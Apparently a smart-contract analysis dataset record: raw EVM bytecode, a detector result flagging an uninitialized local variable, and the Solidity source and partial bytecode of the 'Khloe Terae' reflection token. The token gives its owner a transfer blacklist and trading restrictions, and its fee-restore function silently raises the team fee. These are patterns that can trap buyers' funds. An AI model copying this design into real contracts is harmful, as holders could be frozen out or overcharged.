0x6080604052600436106100e55763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c2781146100ea578063238c8a821461011e5780632c4e722e1461013e5780632e1a7d4d14610165578063446dba8f1461017d5780634768d4ef146101a1578063481c6a751461030f578063625a3a34146103245780637fef2d38146103db578063854458291461045057806392b108d014610465578063a0e67e2b146104bf578063c437a0cd14610524578063d0ebdbe714610535578063eb6b192f14610556578063fa4d36981461058b575b600080fd5b3480156100f657600080fd5b506101026004356105e0565b60408051600160a060020a039092168252519081900360200190f35b34801561012a57600080fd5b5061013c60043560ff60243516610608565b005b34801561014a57600080fd5b50610153610877565b60408051918252519081900360200190f35b34801561017157600080fd5b5061013c60043561087d565b34801561018957600080fd5b50610153600435600160a060020a0360243516610a02565b3480156101ad57600080fd5b506101b9600435610afa565b604051808b15151515815260200180602001806020018a60030b60030b81526020018967ffffffffffffffff1667ffffffffffffffff1681526020018867ffffffffffffffff1667ffffffffffffffff16815260200187815260200186815260200185815260200184600381111561022d57fe5b60ff16815260200183810383528c818151815260200191508051906020019080838360005b8381101561026a578181015183820152602001610252565b50505050905090810190601f1680156102975780820380516001836020036101000a031916815260200191505b5083810382528b5181528b516020918201918d019080838360005b838110156102ca5781810151838201526020016102b2565b50505050905090810190601f1680156102f75780820380516001836020036101000a031916815260200191505b509c5050505050505050505050505060405180910390f35b34801561031b57600080fd5b50610102610c8a565b34801561033057600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261013c95833595369560449491939091019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497505050833560030b9450505050602081013567ffffffffffffffff908116916040013516610c99565b3480156103e757600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261013c9583359536956044949193909101919081908401838280828437509497505067ffffffffffffffff8535811696506020909501359094169350610fd092505050565b34801561045c57600080fd5b50610153611185565b34801561047157600080fd5b50610489600435600160a060020a036024351661118b565b6040518084600381111561049957fe5b60ff16815260200183815260200182151515158152602001935050505060405180910390f35b3480156104cb57600080fd5b506104d46111bc565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156105105781810151838201526020016104f8565b505050509050019250505060405180910390f35b61013c60043560ff6024351661121f565b34801561054157600080fd5b5061013c600160a060020a03600435166114ae565b34801561056257600080fd5b50610577600160a060020a0360043516611526565b604080519115158252519081900360200190f35b34801561059757600080fd5b506040805160206004803580820135838102808601850190965280855261013c9536959394602494938501929182918501908490808284375094975061153b9650505050505050565b60018054829081106105ee57fe5b600091825260209091200154600160a060020a0316905081565b60008054819081908190600160a060020a0316331461062657600080fd5b600086815260046020526040902054869060ff16151560011461064857600080fd5b85600181600381111561065757fe5b148061066e5750600281600381111561066c57fe5b145b806106845750600381600381111561068257fe5b145b151561068f57600080fd5b60008881526004602052604081206007015460ff1660038111156106af57fe5b146106b957600080fd5b6000888152600460205260409020600701805488919060ff191660018360038111156106e157fe5b021790555060008881526004602052604090209350600187600381111561070457fe5b14156107475761071c8460050154856006015461155e565b955060008460040154111561073e5761073786600654611571565b9450610742565b8594505b6107d4565b600287600381111561075557fe5b14156107885761076d8460040154856006015461155e565b955060008460050154111561073e5761073786600654611571565b600387600381111561079657fe5b14156107d4576107ae8460040154856005015461155e565b95506000846006015411156107d0576107c986600654611571565b94506107d4565b8594505b30925082318511156107e557600080fd5b60008054604051600160a060020a039091169187156108fc02918891818181858888f1935050505015801561081e573d6000803e3d6000fd5b50877f1d411260d381ced63bf038dae2946cba327c0c577467b77e60d229eb93c3d06688876040518083600381111561085357fe5b60ff1681526020018281526020019250505060405180910390a25050505050505050565b60065481565b600081815260046020526040812054819081908190859060ff1615156001146108a557600080fd5b60008681526004602052604081209550600786015460ff1660038111156108c857fe5b14156108d357600080fd5b600086815260056020908152604080832033845290915281209450845460ff1660038111156108fe57fe5b141561090957600080fd5b600184015460001061091a57600080fd5b600284015460ff161561092c57600080fd5b60028401805460ff19166001179055600785015460ff16600381111561094e57fe5b845460ff16600381111561095e57fe5b1461096857600080fd5b6109728585611586565b925061098283856001015461155e565b9250309150813183111561099557600080fd5b604051339084156108fc029085906000818181858888f193505050501580156109c2573d6000803e3d6000fd5b50604080518481529051879133917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b5689181900360200190a3505050505050565b600082815260046020526040812054819081908190869060ff161515600114610a2a57600080fd5b60008781526004602052604081209450600785015460ff166003811115610a4d57fe5b1415610a5c5760009450610af0565b6000878152600560209081526040808320600160a060020a038a16845290915281209350835460ff166003811115610a9057fe5b1415610a9f5760009450610af0565b825460ff166003811115610aaf57fe5b600785015460ff166003811115610ac257fe5b14610ad05760009450610af0565b610ada8484611586565b9150610aea82846001015461155e565b91508194505b5050505092915050565b6004602090815260009182526040918290208054600180830180548651600261010094831615949094026000190190911692909204601f810186900486028301860190965285825260ff909216949293909290830182828015610b9e5780601f10610b7357610100808354040283529160200191610b9e565b820191906000526020600020905b815481529060010190602001808311610b8157829003601f168201915b50505060028085018054604080516020601f6000196101006001871615020190941695909504928301859004850281018501909152818152959695945090925090830182828015610c305780601f10610c0557610100808354040283529160200191610c30565b820191906000526020600020905b815481529060010190602001808311610c1357829003601f168201915b50505060038085015460048601546005870154600688015460079098015496979383900b9667ffffffffffffffff6401000000008504811697506c0100000000000000000000000090940490931694509092909160ff168a565b600054600160a060020a031681565b610ca16118a1565b3360009081526002602052604090205460ff161515600114610cc257600080fd5b67ffffffffffffffff80831690841610610cdb57600080fd5b60008781526004602052604090205460ff1615610cf757600080fd5b610140604051908101604052806001151581526020018781526020018681526020018560030b81526020018467ffffffffffffffff1681526020018367ffffffffffffffff16815260200160008152602001600081526020016000815260200160006003811115610d6457fe5b905260008881526004602090815260409091208251815460ff191690151517815582820151805193945084939192610da4926001850192909101906118f4565b5060408201518051610dc09160028401916020909101906118f4565b50606082015160038281018054608086015160a087015163ffffffff1990921663ffffffff95850b95909516949094176bffffffffffffffff00000000191664010000000067ffffffffffffffff958616021773ffffffffffffffff00000000000000000000000019166c0100000000000000000000000094909116939093029290921790915560c0830151600483015560e0830151600583015561010083015160068301556101208301516007830180549192909160ff1916906001908490811115610e8957fe5b0217905550506003805460010181556040805187830b90920b9082015267ffffffffffffffff80861660608301528416608082015260a080825288519082015287518992507fe187dfaad0a80f26ac9cf793022542ac887d4007cd7244664f174a6e7e9f478e9189918991899189918991819060208083019160c08401918a019080838360005b83811015610f28578181015183820152602001610f10565b50505050905090810190601f168015610f555780820380516001836020036101000a031916815260200191505b50838103825287518152875160209182019189019080838360005b83811015610f88578181015183820152602001610f70565b50505050905090810190601f168015610fb55780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390a250505050505050565b3360009081526002602052604090205460ff161515600114610ff157600080fd5b600084815260046020526040902054849060ff16151560011461101357600080fd5b6000845111156110445760008581526004602090815260409091208551611042926002909201918701906118f4565b505b67ffffffffffffffff83161561108c57600085815260046020526040902060030180546bffffffffffffffff00000000191664010000000067ffffffffffffffff8616021790555b67ffffffffffffffff8216156110e4576000858152600460205260409020600301805473ffffffffffffffff00000000000000000000000019166c0100000000000000000000000067ffffffffffffffff8516021790555b847fe13dc79b60f22c2f8a0ac013c778114e0ef4294b5bd560686c4aa38abd3d0b92856040518080602001828103825283818151815260200191508051906020019080838360005b8381101561114457818101518382015260200161112c565b50505050905090810190601f1680156111715780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050505050565b60035481565b600560209081526000928352604080842090915290825290208054600182015460029092015460ff91821692911683565b6060600180548060200260200160405190810160405280929190818152602001828054801561121457602002820191906000526020600020905b8154600160a060020a031681526001909101906020018083116111f6575b505050505090505b90565b6000828152600460205260408120548190849060ff16151560011461124357600080fd5b83600181600381111561125257fe5b14806112695750600281600381111561126757fe5b145b8061127f5750600381600381111561127d57fe5b145b151561128a57600080fd5b6000341161129757600080fd5b60008681526004602052604081209450600785015460ff1660038111156112ba57fe5b146112c457600080fd5b60038401544264010000000090910467ffffffffffffffff1611156112e857600080fd5b6003840154426c0100000000000000000000000090910467ffffffffffffffff16101561131457600080fd5b600185600381111561132257fe5b14156113405761133684600401543461155e565b6004850155611394565b600285600381111561134e57fe5b141561136c5761136284600501543461155e565b6005850155611394565b600385600381111561137a57fe5b14156113945761138e84600601543461155e565b60068501555b600086815260056020908152604080832033845290915281209350835460ff1660038111156113bf57fe5b14156113f0573460018085019190915583548691859160ff1916908360038111156113e657fe5b021790555061142a565b8460038111156113fc57fe5b835460ff16600381111561140c57fe5b1461141657600080fd5b61142483600101543461155e565b60018401555b8533600160a060020a03167fe48b96341a67ee69e6670e8df3a21898808edf14251f7cb24681dd7d9f1c8ee78734886004015489600501548a600601546040518086600381111561147757fe5b60ff1681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a3505050505050565b600054600160a060020a031633146114c557600080fd5b60008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116811790915560408051918252517f54a6385aa0292b04e1ef8513253c17d1863f7cdfc87029d77fd55cc4c2e717e29181900360200190a150565b60026020526000908152604090205460ff1681565b600054600160a060020a0316331461155257600080fd5b61155b8161171a565b50565b8181018281101561156b57fe5b92915050565b6000818381151561157e57fe5b049392505050565b8054600090819060ff16600381111561159b57fe5b600785015460ff1660038111156115ae57fe5b146115bc5760009150611713565b6001600785015460ff1660038111156115d157fe5b1480156115e2575060008460040154115b15611634576115f98460050154856006015461155e565b90506116108161160b83600654611571565b611866565b905061162d611623846001015483611878565b8560040154611571565b905061170f565b6002600785015460ff16600381111561164957fe5b14801561165a575060008460050154115b156116a0576116718460040154856006015461155e565b90506116838161160b83600654611571565b905061162d611696846001015483611878565b8560050154611571565b6003600785015460ff1660038111156116b557fe5b1480156116c6575060008460060154115b1561170f576116dd8460040154856005015461155e565b90506116ef8161160b83600654611571565b905061170c611702846001015483611878565b8560060154611571565b90505b8091505b5092915050565b6000805b60015482101561177d5760006002600060018581548110151561173d57fe5b600091825260208083209190910154600160a060020a031683528201929092526040019020805460ff19169115159190911790556001919091019061171e565b5060005b82518110156117d857600160026000858481518110151561179e57fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff1916911515919091179055600101611781565b82516117eb906001906020860190611972565b507f9465cd279c2de393c5568ae444599e3644e3d1864ca2c05ced8a654df2aea3cb836040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561184e578181015183820152602001611836565b505050509050019250505060405180910390a1505050565b60008282111561187257fe5b50900390565b60008215156118895750600061156b565b5081810281838281151561189957fe5b041461156b57fe5b604080516101408101825260008082526060602083018190529282018390529181018290526080810182905260a0810182905260c0810182905260e0810182905261010081018290529061012082015290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061193557805160ff1916838001178555611962565b82800160010185558215611962579182015b82811115611962578251825591602001919060010190611947565b5061196e9291506119e0565b5090565b8280548282559060005260206000209081019282156119d4579160200282015b828111156119d4578251825473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909116178255602090920191600190910190611992565b5061196e9291506119fa565b61121c91905b8082111561196e57600081556001016119e6565b61121c91905b8082111561196e57805473ffffffffffffffffffffffffffffffffffffffff19168155600101611a005600a165627a7a723058209acb94fafb30f877552b71113a959d59a3f13bbef36a11038456129f6fbd51840029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,297
0xF2aaaBD36E996522Df25c5B5f3D114bd062d1664
// Khloe Terae Official Token ($Khloe) // _ ___ _ _______ // | |/ / | | | |__ __| // | ' /| |__ | | ___ ___ | | ___ _ __ __ _ ___ // | < | '_ \| |/ _ \ / _ \ | |/ _ \ '__/ _` |/ _ \ // | . \| | | | | (_) | __/ | | __/ | | (_| | __/ // |_|\_\_| |_|_|\___/ \___| |_|\___|_| \__,_|\___| // Telegram: https://t.me/khloeteraetoken // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KhloeTeraeToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Khloe Terae"; string private constant _symbol = "Khloe \xF0\x9F\x91\xB8"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 5; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _cooldownSeconds = 30; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool isEnabled) external onlyOwner() { cooldownEnabled = isEnabled; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); require(amount <= _maxTxAmount); cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function addLiquidityETH() external onlyOwner() { require(!tradingOpen, "Trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _taxFee = 1; _teamFee = 10; _maxTxAmount = 5000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() { require(cooldownSecs > 0, "Secs must be greater than 0"); _cooldownSeconds = cooldownSecs; } }
0x6080604052600436106101015760003560e01c806370a082311161009557806395d89b411161006457806395d89b411461032b578063a9059cbb14610356578063d543dbeb14610393578063dd62ed3e146103bc578063ed995307146103f957610108565b806370a0823114610283578063715018a6146102c05780637b5b1157146102d75780638da5cb5b1461030057610108565b806323b872dd116100d157806323b872dd146101c9578063313ce567146102065780635932ead1146102315780636b9990531461025a57610108565b8062b8cf2a1461010d57806306fdde0314610136578063095ea7b31461016157806318160ddd1461019e57610108565b3661010857005b600080fd5b34801561011957600080fd5b50610134600480360381019061012f9190612a3f565b610410565b005b34801561014257600080fd5b5061014b610560565b6040516101589190612f03565b60405180910390f35b34801561016d57600080fd5b5061018860048036038101906101839190612a03565b61059d565b6040516101959190612ee8565b60405180910390f35b3480156101aa57600080fd5b506101b36105bb565b6040516101c091906130c5565b60405180910390f35b3480156101d557600080fd5b506101f060048036038101906101eb91906129b4565b6105cc565b6040516101fd9190612ee8565b60405180910390f35b34801561021257600080fd5b5061021b6106a5565b604051610228919061313a565b60405180910390f35b34801561023d57600080fd5b5061025860048036038101906102539190612a80565b6106ae565b005b34801561026657600080fd5b50610281600480360381019061027c9190612926565b610760565b005b34801561028f57600080fd5b506102aa60048036038101906102a59190612926565b610850565b6040516102b791906130c5565b60405180910390f35b3480156102cc57600080fd5b506102d56108a1565b005b3480156102e357600080fd5b506102fe60048036038101906102f99190612ad2565b6109f4565b005b34801561030c57600080fd5b50610315610ad6565b6040516103229190612e1a565b60405180910390f35b34801561033757600080fd5b50610340610aff565b60405161034d9190612f03565b60405180910390f35b34801561036257600080fd5b5061037d60048036038101906103789190612a03565b610b3c565b60405161038a9190612ee8565b60405180910390f35b34801561039f57600080fd5b506103ba60048036038101906103b59190612ad2565b610b5a565b005b3480156103c857600080fd5b506103e360048036038101906103de9190612978565b610ca3565b6040516103f091906130c5565b60405180910390f35b34801561040557600080fd5b5061040e610d2a565b005b610418611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049c90613005565b60405180910390fd5b60005b815181101561055c576001600a60008484815181106104f0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610554906133db565b9150506104a8565b5050565b60606040518060400160405280600b81526020017f4b686c6f65205465726165000000000000000000000000000000000000000000815250905090565b60006105b16105aa611296565b848461129e565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105d9848484611469565b61069a846105e5611296565b6106958560405180606001604052806028815260200161382760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061064b611296565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c359092919063ffffffff16565b61129e565b600190509392505050565b60006009905090565b6106b6611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a90613005565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610768611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ec90613005565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061089a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c99565b9050919050565b6108a9611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092d90613005565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109fc611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8090613005565b60405180910390fd5b60008111610acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac390612fa5565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4b686c6f6520f09f91b800000000000000000000000000000000000000000000815250905090565b6000610b50610b49611296565b8484611469565b6001905092915050565b610b62611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be690613005565b60405180910390fd5b60008111610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2990612fc5565b60405180910390fd5b610c616064610c5383683635c9adc5dea00000611d0790919063ffffffff16565b611d8290919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610c9891906130c5565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d32611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db690613005565b60405180910390fd5b600f60149054906101000a900460ff1615610e0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0690613085565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e9f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061129e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ee557600080fd5b505afa158015610ef9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1d919061294f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f7f57600080fd5b505afa158015610f93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb7919061294f565b6040518363ffffffff1660e01b8152600401610fd4929190612e35565b602060405180830381600087803b158015610fee57600080fd5b505af1158015611002573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611026919061294f565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110af30610850565b6000806110ba610ad6565b426040518863ffffffff1660e01b81526004016110dc96959493929190612e87565b60606040